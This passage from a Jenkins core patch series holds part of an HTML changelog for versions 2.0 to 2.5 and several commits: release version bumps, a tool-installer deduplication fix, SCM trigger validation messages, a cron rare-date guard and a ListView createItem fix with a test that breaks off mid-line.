                                                    • - Improve extensibility of the Setup Wizard GUI: - InstallState and InstallStateFilter extension points. - (PR 2281 as supplementary change for - issue 33663) -
                                                    • - Improve User Experience in the New Item form. Submit button is always visible. - (issue 34244) -
                                                    • - Allow passing a list of safe job parameters in ParametersAction. - It simplifies fixing of plugins affected by SECURITY-170 fix. - (PR 2353) -
                                                    • - Added Symbol annotations for - ParametersDefinition and BuildDiscarder properties. - (PR 2358) -
                                                    • - Extended the online-node CLI command for accepting multiple agents. - (issue 34531) -
                                                    • - Listed Parameters should reflect what was used when the build ran (filtering of unsafe parameters). - (issue 34858) -
                                                    • - Scalability: Fix performance issues in the XML unmarshalling code. - (issue 34888) -
                                                    • - Support the legacy icon size specification approach in the Status Ball visualization. - (issue 25220, regression in 1.586) -
                                                    • - Migrate the leftover system properties to the new engine introduced in 2.4. - (issue 34854) -
                                                    • - Do not show warnings about a missing Tool Installer if it is present in at least one Update Site. - (issue 34880) -
                                                    • - Prevent hanging of the installation wizard due to the plugin status update issue. - (issue 34708) -
                                                    • - Internal: CLI command connect-node was extracted from the core to CLI. - (issue 31417) -
                                                    -

                                                    What's new in 2.5 (2016/05/16)

                                                    -
                                                      -
                                                    • - Do not throw exceptions if Jenkins.getInstance() returns null instance. - It was causing failures on Jenkins agents in the case of unexpected API usage by agents. - (issue 34857, regression in 2.4) -
                                                    • - Replace jenkins.model.Jenkins.disableExceptionOnNullInstance by - jenkins.model.Jenkins.enableExceptionOnNullInstance to address the - behavior change. - (issue 34857) -
                                                    -

                                                    What's new in 2.4 (2016/05/15)

                                                    -
                                                      -
                                                    • - Internal/build: jenkins-ui (NPM module) is private, used only internally. - (issue 34629) -
                                                    • - Do not print stack trace during a plugin installation if it is missing its dependencies. - (issue 34683) -
                                                    • - Allow specifying custom AbortExceptions. - (pull 2288) -
                                                    • - Add a hudson.model.UpdateCenter.defaultUpdateSiteId system property, - which allows specifying an alternate default Update Site ID. - (issue 34674) -
                                                    • - Allow setting of properties from context.xml and web.xml - in addition to setting system properties from the command line. - (issue 34755) -
                                                    • - Remove the historical initialization of CVS changelog parser for jobs without explicit SCM definition. - Warning! This change may potentially cause a regression if a Jenkins plugin depends on this default behavior and injects changelogs without SCM. - (issue 4610) -
                                                    • - Add the JOB_BASE_NAME environment variable to builds (job name without path). - (issue 25164) -
                                                    • - Allow overriding Jenkins UpdateCenter by a custom implementation. - (issue 34733) -
                                                    • - Allow overriding Jenkins PluginManager by a custom implementation. - (issue 34681) -
                                                    • - Installation Wizard: Allow altering the list of suggested plugins from update sites. - (issue 34833) -
                                                    • - Prevent hanging of the Installation Wizard if the default Update Site ID cannot be resolved. - In such case an error message will be displayed. - (issue 34675) -
                                                    • - Prevent hanging of the Installation Wizard if the internet check is skipped for the default update site. - (issue 34705) -
                                                    • - Do not fail with error when enabling a plugin, which has been already enabled. - It prevents errors in the new Installation Wizard, which installs plugins in parallel. - (issue 34710) -
                                                    • - Plugin Manager was building incorrect list of bundled plugins for nested dependencies. - (issue 34748) -
                                                    • - Prevent fatal failure of the updates check PeriodicWork if update site certificate is missing. - (issue 34745) -
                                                    • - Pick up missing Downloadable items on restart if all update centers are up to date. - (issue 32886) -
                                                    • - Allow starting non-AbstractProject (e.g. Pipeline) jobs from CLI. - (issue 28071) -
                                                    • - Disable JSESSIONID in URLs when running in the JBoss web container. - It prevents Error 404 due to invalid links starting from Jenkins 1.556. - More info: WFLY-4782 - (issue 34675) -
                                                    • - Prevent RSS ID collisions for items with same name in different folders. - (issue 34767) -
                                                    • - Prevent NoSuchMethodException in loginLink.jelly - when attempting to start a job using REST API. - (issue 31618) -
                                                    • - Make ToolInstallers to follow HTTP 30x redirects. - (issue 23507) -
                                                    • - Prevent NullPointerException in the parameter definition job property - if it gets initialized incorrectly. - (issue 34370) -
                                                    • - Bundle Font Awesome and Google Fonts: Roboto dependencies - to prevent failures in the offline mode. - (issue 34628) -
                                                    • - Internal: CLI commands disconnect-node and reload-configuration were extracted from the core to CLI. - (issue 34328 and - issue 31900) -
                                                    • - Internal: Support latest source version to avoid compile time warnings with JDK7. - annotation-indexer and - sezpoz have been updated to 1.11. - (issue 32978) -
                                                    • - Developer API: Switch Jenkins.getInstance() to @Nonnull. - (new system property) - (pull 2297) -
                                                    • - Remoting, scalability: Ensure that the unexporter cleans up whatever it can each GC sweep. - (issue 34213) -
                                                    • - Remoting: Force class load on UserRequest to prevent deadlocks on Windows nodes agents in the case of multiple classloaders. - (Controlled by hudson.remoting.RemoteClassLoader.force) - (issue 19445) -
                                                    • - Remoting: Allow Jenkins admins to adjust the socket timeout. - (Controlled by hudson.remoting.Engine.socketTimeout) - (issue 34808) -
                                                    • - Remoting: Allow disabling the remoting protocols individually. - Allows working around compatibility issues like - JENKINS-34121. - (Controlled by PROTOCOL_CLASS_NAME.disabled) - (issue 34819) -
                                                    -

                                                    What's new in 2.3 (2016/05/11)

                                                    -
                                                      -
                                                    • - Important security fixes - (see the security advisory for details and plugin compatibility issues) -
                                                    -

                                                    What's new in 2.2 (2016/05/08)

                                                    -
                                                      -
                                                    • - Add symbol annotations on core. - (pull 2293) -
                                                    • - Upgrade Stapler to 1.243. - (pull 2298) -
                                                    • - Internal/build: Enable JSHint during build. - (issue 34438) -
                                                    • - Workaround for unpredictable Windows file locking. - (issue 15331) -
                                                    • - Improved Lithuanian translation. - (pull 2309) -
                                                    • - Improved French translation. - (pull 2308) -
                                                    • - Restrict access to URLs related to plugin manager. - (issue 31611) -
                                                    • - API: New HttpSessionListener extension point. - (pull 2303) - -
                                                    • - Don't go through init sequence twice. - (pull 2177) -
                                                    • - Create Item form can be navigated using keyboard again. - (issue 33822) -
                                                    • - Fix inline help for node name field. - (issue 34601) -
                                                    -

                                                    What's new in 2.1 (2016/05/01)

                                                    -
                                                      -
                                                    • - Enable disabled dependencies during plugin installations. - (issue 34494) -
                                                    • - Force ordering between GPG and jarsigner to ensure correct GPG signature. - (pull 2285) -
                                                    • - Secured Jenkins installations didn't properly save the queue on shutdown. - (issue 34281) - -
                                                    • - Add dependency resolution to manually uploaded plugins. - (issue 15057) -
                                                    • - Show Jenkins version on setup wizard. - (issue 33535) -
                                                    • - Update remoting to 2.57. - (issue 33999) -
                                                    • - Allow retrying plugin downloads in setup wizard. - (issue 33244) -
                                                    • - Add links to homepage of plugins and dependencies in setup wizard. - (issue 33936, - issue 33937) -
                                                    • - Improved handling of the 'close' button during setup wizard. - (issue 34137) -
                                                    • - Wrong spacing in flat mode of 'Create Item' screen. - (issue 31162) -
                                                    • - Add timestamp to the jarsigner signature. - (pull 2284) -
                                                    • - Improved French translation. - (pull 2267) -
                                                    • - Improved Lithuanian translation. - (pull 2286) -
                                                    • - Improved Brazilian Portuguese translation. - (pull 2273) - -
                                                    • - Prevent errors when hiding management links. - (issue 33683) -
                                                    • - Internal: Make logger field private. - (issue 34093) -
                                                    • - Shorter timeout for plugin downloads to prevent setup wizard from hanging. - (issue 34174) -
                                                    • - Check if job is buildable before showing 'Build with parameters' page. - (issue 34146) -
                                                    • - Fixed race condition in slave offline cause. - (issue 34448) -
                                                    • - Allow enabling disabled dependencies in the plugin manager to fix broken configurations. - (issue 32340) -
                                                    • - Always display clicked scrollspy items as active in setup wizard. - (issue 33948) -
                                                    • - Prevent multiple installations of the same dependency. - (issue 33950) -
                                                    - - -

                                                    What's new in 2.0 (2016/04/20)

                                                    -
                                                    - More detailed information about the new features in Jenkins 2.0 on the overview page. -
                                                    - -
                                                      -
                                                    • - New password-protected setup wizard shown on first run to guide users through installation of popular plugins and setting up an admin user. - (issue 30749, - issue 9598) -
                                                    • - Plugin bundling overhaul: Bundled plugins are only installed if necessary when upgrading, all plugins can be uninstalled. - (issue 20617) -
                                                    • - Redesigned job configuration form makes it easier to understand the option hierarchy, and to navigate the form. - (issue 32357) -
                                                    • - Richer 'Create Item' form with job icons and job categories (once a threshold of three categories has been reached). - (issue 31162) - -
                                                    • - Upgrade wizard encourages installation of Pipeline related plugins when upgrading from 1.x. - (issue 33662) -
                                                    • - Jenkins now requires Servlet 3.1. Upgraded embedded Winstone-Jetty to Jetty 9 accordingly. - This removes AJP support when using the embedded Winstone-Jetty container. - (issue 23378) -
                                                    • - Bundled Groovy updated from 1.8.9 to 2.4.6. - (issue 21249) -
                                                    • - Added option to prohibit anonymous access to security realm "Logged in users can do anything", enable by default. - (issue 30749) -
                                                    • - Renamed 'slave' to 'agent' on the UI. - (issue 27268) -
                                                    • - Improvements to inline documentation of numerous form fields in Jenkins global and job configuration. - (issue 33364) -
                                                    • - Change default CSRF protection crumb name to Jenkins-Crumb for nginx compatibility. - (issue 12875) - -
                                                    • - Enforce correct icon size in list view. - (issue 33799) -
                                                    • - CLI: Fixed NPE when non-existent run is requested. - (issue 33942) - -
                                                    -

                                                    -Older changelogs can be found in a separate file - - - +--> \ No newline at end of file -- GitLab From 39c45a064d65cae7e820a4506202a0c2c9f77b14 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 19 Feb 2017 13:57:51 -0800 Subject: [PATCH 656/712] [maven-release-plugin] prepare release jenkins-2.47 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 8602be3d7a..0d384beef2 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.47-SNAPSHOT + 2.47 cli diff --git a/core/pom.xml b/core/pom.xml index 20b2f50f40..45e12b4b9d 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.47-SNAPSHOT + 2.47 jenkins-core diff --git a/pom.xml b/pom.xml index d601a05b6f..6bac355781 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.47-SNAPSHOT + 2.47 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.47 diff --git a/test/pom.xml b/test/pom.xml index f5ffad6b3e..ae865943c6 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.47-SNAPSHOT + 2.47 test diff --git a/war/pom.xml b/war/pom.xml index 1a0b407f65..ba98b56a69 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.47-SNAPSHOT + 2.47 jenkins-war -- GitLab From 0e67ad4e7337fe8f9d16f40c1a552eb04d43bbaa Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 19 Feb 2017 13:57:51 -0800 Subject: [PATCH 657/712] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 0d384beef2..c0e005dfb5 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.47 + 2.48-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 45e12b4b9d..a41dc945f6 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.47 + 2.48-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 6bac355781..26c4c243a2 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.47 + 2.48-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.47 + HEAD diff --git a/test/pom.xml b/test/pom.xml index ae865943c6..a4d06805a0 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.47 + 2.48-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index ba98b56a69..290ab2a480 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.47 + 2.48-SNAPSHOT jenkins-war -- GitLab From 249dfb13be296b01b750497c0a93120200672508 Mon Sep 17 00:00:00 2001 From: Yoann Dubreuil Date: Fri, 17 Feb 2017 10:54:23 +0100 Subject: [PATCH 658/712] [JENKINS-42141] Fix performance issue in code merging Tool installer list --- .../tools/DownloadFromUrlInstaller.java | 42 ++++++------------- 1 file changed, 12 insertions(+), 30 deletions(-) diff --git a/core/src/main/java/hudson/tools/DownloadFromUrlInstaller.java b/core/src/main/java/hudson/tools/DownloadFromUrlInstaller.java index 5ad04e76ef..970308990f 100644 --- a/core/src/main/java/hudson/tools/DownloadFromUrlInstaller.java +++ b/core/src/main/java/hudson/tools/DownloadFromUrlInstaller.java @@ -10,6 +10,7 @@ import net.sf.json.JSONObject; import java.io.IOException; import java.util.Arrays; import java.util.Collections; +import java.util.HashSet; import java.util.LinkedList; import java.util.List; import java.net.URL; @@ -169,42 +170,23 @@ public abstract class DownloadFromUrlInstaller extends ToolInstaller { return false; } + /** + * Merge a list of ToolInstallerList and removes duplicate tool installers (ie having the same id) + * @param jsonList the list of ToolInstallerList to merge + * @return the merged ToolInstallerList wrapped in a JSONObject + */ private JSONObject reduce(List jsonList) { List reducedToolEntries = new LinkedList<>(); - //collect all tool installers objects from the multiple json objects + + HashSet processedIds = new HashSet(); for (JSONObject jsonToolList : jsonList) { ToolInstallerList toolInstallerList = (ToolInstallerList) JSONObject.toBean(jsonToolList, ToolInstallerList.class); - reducedToolEntries.addAll(Arrays.asList(toolInstallerList.list)); - } - - while (Downloadable.hasDuplicates(reducedToolEntries, "id")) { - List tmpToolInstallerEntries = new LinkedList<>(); - //we need to skip the processed entries - boolean processed[] = new boolean[reducedToolEntries.size()]; - for (int i = 0; i < reducedToolEntries.size(); i++) { - if (processed[i] == true) { - continue; - } - ToolInstallerEntry data1 = reducedToolEntries.get(i); - boolean hasDuplicate = false; - for (int j = i + 1; j < reducedToolEntries.size(); j ++) { - ToolInstallerEntry data2 = reducedToolEntries.get(j); - //if we found a duplicate we choose the first one - if (data1.id.equals(data2.id)) { - hasDuplicate = true; - processed[j] = true; - tmpToolInstallerEntries.add(data1); - //after the first duplicate has been found we break the loop since the duplicates are - //processed two by two - break; - } - } - //if no duplicate has been found we just insert the entry in the tmp list - if (!hasDuplicate) { - tmpToolInstallerEntries.add(data1); + for(ToolInstallerEntry entry : toolInstallerList.list) { + // being able to add the id into the processedIds set means this tool has not been processed before + if (processedIds.add(entry.id)) { + reducedToolEntries.add(entry); } } - reducedToolEntries = tmpToolInstallerEntries; } ToolInstallerList toolInstallerList = new ToolInstallerList(); -- GitLab From d0d9216f4fba8337f853aadf9853fb8dcc5cb1cf Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Mon, 20 Feb 2017 10:18:51 +0000 Subject: [PATCH 659/712] [FIXED JENKINS-42194] Do not display a warning when ignoring post-commit hooks --- .../main/java/hudson/triggers/SCMTrigger.java | 16 ++++++++++++++++ .../hudson/triggers/Messages.properties | 1 + .../hudson/triggers/SCMTrigger/config.jelly | 2 +- 3 files changed, 18 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/triggers/SCMTrigger.java b/core/src/main/java/hudson/triggers/SCMTrigger.java index 3f4e55c813..b8fa8ea420 100644 --- a/core/src/main/java/hudson/triggers/SCMTrigger.java +++ b/core/src/main/java/hudson/triggers/SCMTrigger.java @@ -72,10 +72,12 @@ import jenkins.util.SystemProperties; import net.sf.json.JSONObject; import org.apache.commons.io.FileUtils; import org.apache.commons.jelly.XMLOutput; +import org.apache.commons.lang.StringUtils; import org.jenkinsci.Symbol; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.DoNotUse; import org.kohsuke.accmod.restrictions.NoExternalUse; +import org.kohsuke.stapler.AncestorInPath; import org.kohsuke.stapler.DataBoundConstructor; import org.kohsuke.stapler.DataBoundSetter; import org.kohsuke.stapler.QueryParameter; @@ -358,6 +360,20 @@ public class SCMTrigger extends Trigger { return FormValidation.ok(); return FormValidation.validateNonNegativeInteger(value); } + + /** + * Performs syntax check. + */ + public FormValidation doCheckScmpoll_spec(@QueryParameter String value, + @QueryParameter boolean ignorePostCommitHooks, + @AncestorInPath Item item) { + if (ignorePostCommitHooks && StringUtils.isBlank(value)) { + return FormValidation.ok(Messages.SCMTrigger_no_schedules_no_hooks()); + } else { + return Jenkins.getInstance().getDescriptorByType(TimerTrigger.DescriptorImpl.class) + .doCheckSpec(value, item); + } + } } @Extension diff --git a/core/src/main/resources/hudson/triggers/Messages.properties b/core/src/main/resources/hudson/triggers/Messages.properties index d01e59aec9..67023a0653 100644 --- a/core/src/main/resources/hudson/triggers/Messages.properties +++ b/core/src/main/resources/hudson/triggers/Messages.properties @@ -23,6 +23,7 @@ SCMTrigger.DisplayName=Poll SCM SCMTrigger.getDisplayName={0} Polling Log SCMTrigger.BuildAction.DisplayName=Polling Log +SCMTrigger.no_schedules_no_hooks=Post commit hooks are being ignored and no schedules so will never run SCMTrigger.SCMTriggerCause.ShortDescription=Started by an SCM change TimerTrigger.DisplayName=Build periodically TimerTrigger.MissingWhitespace=You appear to be missing whitespace between * and *. diff --git a/core/src/main/resources/hudson/triggers/SCMTrigger/config.jelly b/core/src/main/resources/hudson/triggers/SCMTrigger/config.jelly index bc470223b2..5eeba93429 100644 --- a/core/src/main/resources/hudson/triggers/SCMTrigger/config.jelly +++ b/core/src/main/resources/hudson/triggers/SCMTrigger/config.jelly @@ -25,7 +25,7 @@ THE SOFTWARE. - + -- GitLab From 5f5f88006958b1dbac6a8747dea62b8e338c2f7d Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Mon, 20 Feb 2017 11:51:33 +0000 Subject: [PATCH 660/712] [JENKINS-42194] Code review reveals valid point, no schedules is not a warning --- core/src/main/java/hudson/triggers/SCMTrigger.java | 8 ++++++-- .../main/resources/hudson/triggers/Messages.properties | 3 ++- 2 files changed, 8 insertions(+), 3 deletions(-) diff --git a/core/src/main/java/hudson/triggers/SCMTrigger.java b/core/src/main/java/hudson/triggers/SCMTrigger.java index b8fa8ea420..74ae690f7c 100644 --- a/core/src/main/java/hudson/triggers/SCMTrigger.java +++ b/core/src/main/java/hudson/triggers/SCMTrigger.java @@ -367,8 +367,12 @@ public class SCMTrigger extends Trigger { public FormValidation doCheckScmpoll_spec(@QueryParameter String value, @QueryParameter boolean ignorePostCommitHooks, @AncestorInPath Item item) { - if (ignorePostCommitHooks && StringUtils.isBlank(value)) { - return FormValidation.ok(Messages.SCMTrigger_no_schedules_no_hooks()); + if (StringUtils.isBlank(value)) { + if (ignorePostCommitHooks) { + return FormValidation.ok(Messages.SCMTrigger_no_schedules_no_hooks()); + } else { + return FormValidation.ok(Messages.SCMTrigger_no_schedules_hooks()); + } } else { return Jenkins.getInstance().getDescriptorByType(TimerTrigger.DescriptorImpl.class) .doCheckSpec(value, item); diff --git a/core/src/main/resources/hudson/triggers/Messages.properties b/core/src/main/resources/hudson/triggers/Messages.properties index 67023a0653..7efa24a94f 100644 --- a/core/src/main/resources/hudson/triggers/Messages.properties +++ b/core/src/main/resources/hudson/triggers/Messages.properties @@ -23,7 +23,8 @@ SCMTrigger.DisplayName=Poll SCM SCMTrigger.getDisplayName={0} Polling Log SCMTrigger.BuildAction.DisplayName=Polling Log -SCMTrigger.no_schedules_no_hooks=Post commit hooks are being ignored and no schedules so will never run +SCMTrigger.no_schedules_no_hooks=Post commit hooks are being ignored and no schedules so will never run due to SCM changes +SCMTrigger.no_schedules_hooks=No schedules so will only run due to SCM changes if triggered by a post-commit hook SCMTrigger.SCMTriggerCause.ShortDescription=Started by an SCM change TimerTrigger.DisplayName=Build periodically TimerTrigger.MissingWhitespace=You appear to be missing whitespace between * and *. -- GitLab From 6e5225c06b45a3e196c8647dd30275234e57a54c Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 20 Feb 2017 17:24:31 +0100 Subject: [PATCH 661/712] [FIX JENKINS-41864] Add warning for rare dates Previously, impossible dates caused 100% CPU while Jenkins was trying to find the previous/next occurrence of the date. --- .../main/java/hudson/scheduler/CronTab.java | 13 ++++++++ .../RareOrImpossibleDateException.java | 31 +++++++++++++++++++ .../java/hudson/triggers/TimerTrigger.java | 19 +++++++----- .../hudson/triggers/Messages.properties | 2 ++ 4 files changed, 58 insertions(+), 7 deletions(-) create mode 100644 core/src/main/java/hudson/scheduler/RareOrImpossibleDateException.java diff --git a/core/src/main/java/hudson/scheduler/CronTab.java b/core/src/main/java/hudson/scheduler/CronTab.java index d289dc32ef..9c17bb40e6 100644 --- a/core/src/main/java/hudson/scheduler/CronTab.java +++ b/core/src/main/java/hudson/scheduler/CronTab.java @@ -328,8 +328,14 @@ public final class CronTab { * This method modifies the given calendar and returns the same object. */ public Calendar ceil(Calendar cal) { + Calendar twoYearsFuture = (Calendar) cal.clone(); + twoYearsFuture.add(Calendar.YEAR, 2); OUTER: while (true) { + if (cal.compareTo(twoYearsFuture) > 0) { + // we went at least two years into the future + throw new RareOrImpossibleDateException(); + } for (CalendarField f : CalendarField.ADJUST_ORDER) { int cur = f.valueOf(cal); int next = f.ceil(this,cur); @@ -380,8 +386,15 @@ public final class CronTab { * This method modifies the given calendar and returns the same object. */ public Calendar floor(Calendar cal) { + Calendar twoYearsAgo = (Calendar) cal.clone(); + twoYearsAgo.add(Calendar.YEAR, -2); + OUTER: while (true) { + if (cal.compareTo(twoYearsAgo) < 0) { + // we went at least two years into the past + throw new RareOrImpossibleDateException(); + } for (CalendarField f : CalendarField.ADJUST_ORDER) { int cur = f.valueOf(cal); int next = f.floor(this,cur); diff --git a/core/src/main/java/hudson/scheduler/RareOrImpossibleDateException.java b/core/src/main/java/hudson/scheduler/RareOrImpossibleDateException.java new file mode 100644 index 0000000000..c45d18f808 --- /dev/null +++ b/core/src/main/java/hudson/scheduler/RareOrImpossibleDateException.java @@ -0,0 +1,31 @@ +/* + * The MIT License + * + * Copyright (c) 2017 CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package hudson.scheduler; + +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; + +@Restricted(NoExternalUse.class) +public class RareOrImpossibleDateException extends RuntimeException { +} diff --git a/core/src/main/java/hudson/triggers/TimerTrigger.java b/core/src/main/java/hudson/triggers/TimerTrigger.java index 4380c0797c..da844fa6b6 100644 --- a/core/src/main/java/hudson/triggers/TimerTrigger.java +++ b/core/src/main/java/hudson/triggers/TimerTrigger.java @@ -32,6 +32,7 @@ import hudson.model.Cause; import hudson.model.Item; import hudson.scheduler.CronTabList; import hudson.scheduler.Hash; +import hudson.scheduler.RareOrImpossibleDateException; import hudson.util.FormValidation; import java.text.DateFormat; import java.util.ArrayList; @@ -104,13 +105,17 @@ public class TimerTrigger extends Trigger { } private void updateValidationsForNextRun(Collection validations, CronTabList ctl) { - Calendar prev = ctl.previous(); - Calendar next = ctl.next(); - if (prev != null && next != null) { - DateFormat fmt = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL); - validations.add(FormValidation.ok(Messages.TimerTrigger_would_last_have_run_at_would_next_run_at(fmt.format(prev.getTime()), fmt.format(next.getTime())))); - } else { - validations.add(FormValidation.warning(Messages.TimerTrigger_no_schedules_so_will_never_run())); + try { + Calendar prev = ctl.previous(); + Calendar next = ctl.next(); + if (prev != null && next != null) { + DateFormat fmt = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL); + validations.add(FormValidation.ok(Messages.TimerTrigger_would_last_have_run_at_would_next_run_at(fmt.format(prev.getTime()), fmt.format(next.getTime())))); + } else { + validations.add(FormValidation.warning(Messages.TimerTrigger_no_schedules_so_will_never_run())); + } + } catch (RareOrImpossibleDateException ex) { + validations.add(FormValidation.warning(Messages.TimerTrigger_the_specified_cron_tab_is_rare_or_impossible())); } } } diff --git a/core/src/main/resources/hudson/triggers/Messages.properties b/core/src/main/resources/hudson/triggers/Messages.properties index d01e59aec9..c82efebf15 100644 --- a/core/src/main/resources/hudson/triggers/Messages.properties +++ b/core/src/main/resources/hudson/triggers/Messages.properties @@ -29,5 +29,7 @@ TimerTrigger.MissingWhitespace=You appear to be missing whitespace between * and TimerTrigger.no_schedules_so_will_never_run=No schedules so will never run TimerTrigger.TimerTriggerCause.ShortDescription=Started by timer TimerTrigger.would_last_have_run_at_would_next_run_at=Would last have run at {0}; would next run at {1}. +TimerTrigger.the_specified_cron_tab_is_rare_or_impossible=This cron tab will match dates only rarely (e.g. February 29) or \ + never (e.g. June 31), so this job may be triggered very rarely, if at all. Trigger.init=Initializing timer for triggers SCMTrigger.AdministrativeMonitorImpl.DisplayName=Too Many SCM Polling Threads -- GitLab From 84d9244520b917629e82b762eb7b7548cf5f6b9f Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Tue, 21 Feb 2017 15:39:09 +0100 Subject: [PATCH 662/712] [FIXED JENKINS-41128] createItem in View not working when posting xml --- core/src/main/java/hudson/model/ListView.java | 16 ++++- .../test/java/hudson/model/ListViewTest.java | 59 +++++++++++++++++++ .../ListViewTest/addJobUsingAPI/config.xml | 16 +++++ 3 files changed, 88 insertions(+), 3 deletions(-) create mode 100644 test/src/test/resources/hudson/model/ListViewTest/addJobUsingAPI/config.xml diff --git a/core/src/main/java/hudson/model/ListView.java b/core/src/main/java/hudson/model/ListView.java index 32e3779e30..be1483df66 100644 --- a/core/src/main/java/hudson/model/ListView.java +++ b/core/src/main/java/hudson/model/ListView.java @@ -319,16 +319,26 @@ public class ListView extends View implements DirectlyModifiableView { } } + private boolean needToAddToCurrentView(StaplerRequest req) throws ServletException { + String json = req.getParameter("json"); + if (json != null && json.length() > 0) { + // Submitted via UI + JSONObject form = req.getSubmittedForm(); + return form.has("addToCurrentView") && form.getBoolean("addToCurrentView"); + } else { + // Submitted via API + return true; + } + } + @Override @RequirePOST public Item doCreateItem(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException { - JSONObject form = req.getSubmittedForm(); - boolean addToCurrentView = form.has("addToCurrentView") && form.getBoolean("addToCurrentView"); ItemGroup ig = getOwnerItemGroup(); if (ig instanceof ModifiableItemGroup) { TopLevelItem item = ((ModifiableItemGroup)ig).doCreateItem(req, rsp); if (item!=null) { - if (addToCurrentView) { + if (needToAddToCurrentView(req)) { synchronized (this) { jobNames.add(item.getRelativeNameFrom(getOwnerItemGroup())); } diff --git a/test/src/test/java/hudson/model/ListViewTest.java b/test/src/test/java/hudson/model/ListViewTest.java index b2dd439b0b..589a83daa2 100644 --- a/test/src/test/java/hudson/model/ListViewTest.java +++ b/test/src/test/java/hudson/model/ListViewTest.java @@ -37,27 +37,41 @@ import hudson.security.AuthorizationStrategy; import hudson.security.Permission; import java.io.IOException; +import java.io.InputStream; import java.util.Arrays; import java.util.Collection; import java.util.Collections; import java.util.HashSet; +import java.util.List; + import org.acegisecurity.Authentication; import static org.junit.Assert.*; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +import javax.servlet.ReadListener; +import javax.servlet.ServletInputStream; +import org.apache.commons.io.IOUtils; import org.junit.Rule; import org.junit.Test; +import org.junit.rules.TestName; import org.jvnet.hudson.test.Issue; import org.jvnet.hudson.test.JenkinsRule; import org.jvnet.hudson.test.JenkinsRule.WebClient; import org.jvnet.hudson.test.MockFolder; import org.jvnet.hudson.test.recipes.LocalData; +import org.kohsuke.stapler.StaplerRequest; +import org.kohsuke.stapler.StaplerResponse; import org.xml.sax.SAXException; public class ListViewTest { @Rule public JenkinsRule j = new JenkinsRule(); + @Rule public TestName testName = new TestName(); + @Issue("JENKINS-15309") @LocalData @Test public void nullJobNames() throws Exception { @@ -225,6 +239,26 @@ public class ListViewTest { } assertEquals(Collections.singletonList(p), v.getItems()); } + + @Issue("JENKINS-41128") + @Test public void addJobUsingAPI() throws Exception { + ListView v = new ListView("view", j.jenkins); + j.jenkins.addView(v); + StaplerRequest req = mock(StaplerRequest.class); + StaplerResponse rsp = mock(StaplerResponse.class); + + String configXml = IOUtils.toString(getClass().getResourceAsStream(String.format("%s/%s/config.xml", getClass().getSimpleName(), testName.getMethodName())), 